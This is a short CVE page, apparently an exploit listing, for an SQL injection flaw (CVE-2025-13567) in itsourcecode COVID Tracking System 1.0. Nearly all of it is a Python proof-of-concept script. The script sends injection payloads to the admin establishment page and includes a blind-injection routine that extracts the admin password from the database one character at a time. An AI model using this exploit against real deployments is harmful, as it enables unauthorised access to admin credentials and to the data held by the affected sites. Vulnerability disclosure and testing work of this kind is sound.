CVE-2025-13567 itsourcecode COVID Tracking System 1.0 SQL注入漏洞

import requests # CVE-2025-13567 SQL Injection PoC # Target: itsourcecode COVID Tracking System 1.0 # Endpoint: /admin/?page=establishment target_url = "http://target.com/admin/?page=establishment" # Basic SQL Injection test payload payloads = [ "1' OR '1'='1", "1' UNION SELECT NULL--", "1' AND 1=1--", "1' AND 1=2--", ] def test_sql_injection(url, param='id'): """Test for SQL injection vulnerability""" for payload in payloads: try: params = {param: payload} response = requests.get(url, params=params, timeout=10) # Check for SQL error indicators if any(indicator in response.text.lower() for indicator in ['sql syntax', 'mysql', 'warning', 'error']): print(f"[+] Potential SQL Injection found with payload: {payload}") return True except requests.RequestException as e: print(f"[-] Request failed: {e}") return False # Blind SQL Injection extraction example def extract_data_blind(url, param='id'): """Extract data using blind SQL injection""" extracted = "" charset = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ' for pos in range(1, 33): # Extract 32 characters for char in charset: payload = f"1' AND SUBSTRING((SELECT password FROM admin LIMIT 1),{pos},1)='{char}'--" params = {param: payload} try: response = requests.get(url, params=params, timeout=10) # Adjust condition based on actual response behavior if 'expected_content' in response.text: extracted += char print(f"[*] Extracted: {extracted}") break except: pass return extracted if __name__ == "__main__": print("[*] Testing CVE-2025-13567 SQL Injection") test_sql_injection(target_url)